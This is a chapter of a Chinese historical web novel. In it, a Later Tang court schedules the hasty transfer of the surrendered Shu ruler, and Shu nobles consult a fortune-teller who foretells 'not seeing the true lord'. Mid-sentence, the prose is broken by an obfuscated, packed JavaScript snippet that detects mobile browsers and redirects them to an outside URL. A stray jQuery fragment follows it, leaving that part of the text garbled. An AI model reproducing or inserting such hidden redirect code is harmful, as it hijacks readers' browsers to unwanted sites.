22.第22章 不见真君
作品:《唐庄宗的缺德皇后重生了》 李继岌颇以为然,“蜀主在巴蜀多逗留一日,这些贼人的野心就多膨胀一分。不若早些将蜀主送去东都,也好绝了这些人的心思。只是,这部送的日子,诸君觉得选在哪日合适呢?”
任圜揣摩着魏王的心思,提议道:“不若就明日。”
李愚不太赞同,“这时间会不会太赶了?”
就是要赶才好呢,东西收拾不完,那留下来的财货不就全都入了魏王囊中吗?
这话任圜不能明说,只貌似善解人意地道:“蜀主他们有一晚上的时间可以收拾行李,再不济,明日晨间也可再收拾一会儿,到上午暖和的时候再出发,时间正好。”
哪儿正好了?蜀主毕竟是做过皇帝的人,那家当岂是花一晚上就能打点好的?
李愚正要辩驳,却冷不防让旁边的一个同僚踩了一脚。他蓦地一怔,心里醒过神来,忙改口道:“任尚书所言极是,明日出发虽是赶了点,但整体还是合适的。”
李继岌对此很满意,问道:“那派谁护送好呢?”
蜀主王衍举国投降,就如同三国时期的蜀主刘禅举国投降曹魏一样,算是“王朝贵宾”。
护送这样的“贵宾”回京都,是一件稳捞油水的体面差事。
李愚看了眼刚刚踩他脚的好心同僚,决定把这份美差荐给这位仁兄了,“某以为,供军转运接应使、凤翔节度使李公继曮(yǎn)堪当此任。”
李继曮性情柔和,人缘颇好。
任圜对他并无恶感,不介意也帮他一把。
当然,任圜其实更看重的是,李继曮乃是已故岐国之主李茂贞的长子。
当年,陛下攻灭梁国,岐王李茂贞立刻就让长子李继曮入朝觐见,表示愿意归顺中原,行藩臣之事。
不久后,李茂贞病逝,朝廷授予李继曮凤翔节度使、管内观察处置使等职,加兼中书令。
李继曮很识时务,侍奉中原比他父亲李茂贞还谦卑。
此次伐蜀,陛下任命李继曮为供军转运接应等使。
李继曮毫不含糊,倾凤翔之粮赋供运军资,实是尽心尽力。
其人如此表现,就将护送蜀主的美差给他又何妨?
更何况,岐国与蜀国原本就有姻亲,让李继曮这位岐地继任者来护送蜀主也更为妥当。
思及此,任圜道:“某也以为,李相公堪当此任。”
“相公”乃是对宰辅的尊称,李继曮虽实职为节度使,但兼着“中书令”的宰臣虚衔,因而可被尊称为“相公”(当然也可被尊称为“令公”)。
郭崇韬没有异议,“某附议。”
其他在场的文武大臣也无异议,“某等附议。”
李继岌难得有如此顺心的时候,不无轻松地道:“那就这么定了。此番部送蜀主一行之事就交由李卿主持了。”
“诺。”李继曮恭敬领命。
*
明日(初三)要出发之事传入西宫,众人哗然。
“这时间哪儿够啊?”
“早提前两天通知也好啊……”
“现在说这些有什么用?赶紧收拾多少算多少吧!”
“要不咱们去找魏王宽限几天?”
“你是脑子被驴踢了吧?时间就是魏王定的,他能让咱们随便改?”
“哎,这算个什么事儿呐……”
“别在那儿流猫尿水!有那时间哭,还不如过来多收拾几样东西。到时候你没得用,可别来找我们借!”
妃嫔宫人们嘴上抱怨归抱怨,到底手上麻溜得很,都知此时能收捡到的东西,八成就是她们以后的所有家当。
徐太后看着众人忙忙碌碌,心头总觉得不安宁。她把一个随侍宦官叫到跟前来,“你出宫去找‘天官’算一卦,就算我们此行……顺不顺。”
这话里的“天官”显然不是什么朝廷官职,而是算命占卜之人的雅称。
当世信重天命,越是贵重之人就越是看重玄学.运道,出行占卜实是再正常不过。
这名宦官领了命,当即匆匆去找纪纲吕知柔报备。
如今,蜀王宫归魏王等人节制,他们这些蜀国旧人想出入王宫,必须先征得魏王属下的同意。
吕知柔的职位虽仅为纪纲,但实际职责却广得很,什么杂七杂八的活儿都兼于一身。
比如,“监门使”这名头没落到他身上,但其负责门禁稽查的职责却在他身上。
这是一个很能捞油水的差事,吕知柔自然愿意接手,也没觉得什么活多身累。
他接过宦官递过来的银铤,拿在手里掂了掂,差不多有十两。
当今市面上主要靠铜钱和布帛交易。
银铤通常是作为资产储备,很少用于交易流通。
不过,银铤是可以兑换成铜钱使用的。
年份稳定的时候,一两银子约合一千(铜)钱。
十两银子就是一万钱,够普通农家吃吃喝喝好几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456514|200879||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年了。
吕知柔心里禁不住感慨,巴蜀这些“太平人”就是有钱,哪儿像他们中原——动不动就打仗,人都穷疯了、饿疯了,连皇帝都拿不出来几个钱儿。
“去吧。”吕知柔把银铤揣进怀里。他对这个宦官很眼熟,名字也记住了,“你叫宋愈昭是吧?我在这儿给你做个登记,不然待会儿宫门落了锁,你就回不来了。”
“多谢吕纪纲。”宋愈昭连连道谢,应付完了这一关,才终于得以出宫。
此时天色已晚,路上没什么行人,偏又逢上正月春寒料峭,更添萧索孤寂。
宋愈昭只觉心头沉重,拢紧衣裳,低着头,顶着寒风,独自一人在夜色中匆匆往东城里坊而奔。
等敲开那家偏僻户主的门,宋愈昭才发现屋里竟有熟人:“李驸马、刘驸马、张公!”
李驸马就是普慈公主的驸马,李继崇。
刘驸马乃是峨眉公主的驸马,刘嗣禋(yīn)。
张公乃是蜀国曾经的镇江军节度使,张武。
几人相见,俱是有点淡淡的尴尬。
毫无疑问,大家都是来找天官问吉凶的。
今晚,唐廷匆匆通知,蜀主一族及一众原五品以上的蜀国文武官员,全都要在明天出发去洛阳。
消息一出,人心惶惶。
虽然大家早就料到了会有这么一天,但真临到这一天了,还是免不了担忧焦虑。
占卜吉凶,自然就成了众人首选之事。
只不过,有人自己拿着相书在家推算,有人则是出门寻相士推算。
而如今在这相聚一堂的几位贵人,显然属于后者。
他们拜访的这位“天官”,姓孙,人称“孙卯斋”。
有道是“两眉之间为命宫”,此相术之宫正好对应十二地支中的“卯位”。
所谓“孙卯斋”,乃是指他尤为擅长观人眉间命宫之气。
“几位命主问的都是同一件事。”孙卯斋观过几人气色,闭上眼睛掐指算了片刻,头缓缓低了下去,“诸君切记,此去无福亦无灾,然……行至野狐泉,大雾漫漫,不见真君。”
众人脸色骤变。
既然说是“无灾”,那怎么又会“不见真君”?
“真君”究竟指的是谁?
然而,孙卯斋垂着个头,就像通神出窍了一般,已是片言不应了。
众人知道不可再问,只纷纷留下算命钱,心事重重地各自离去。

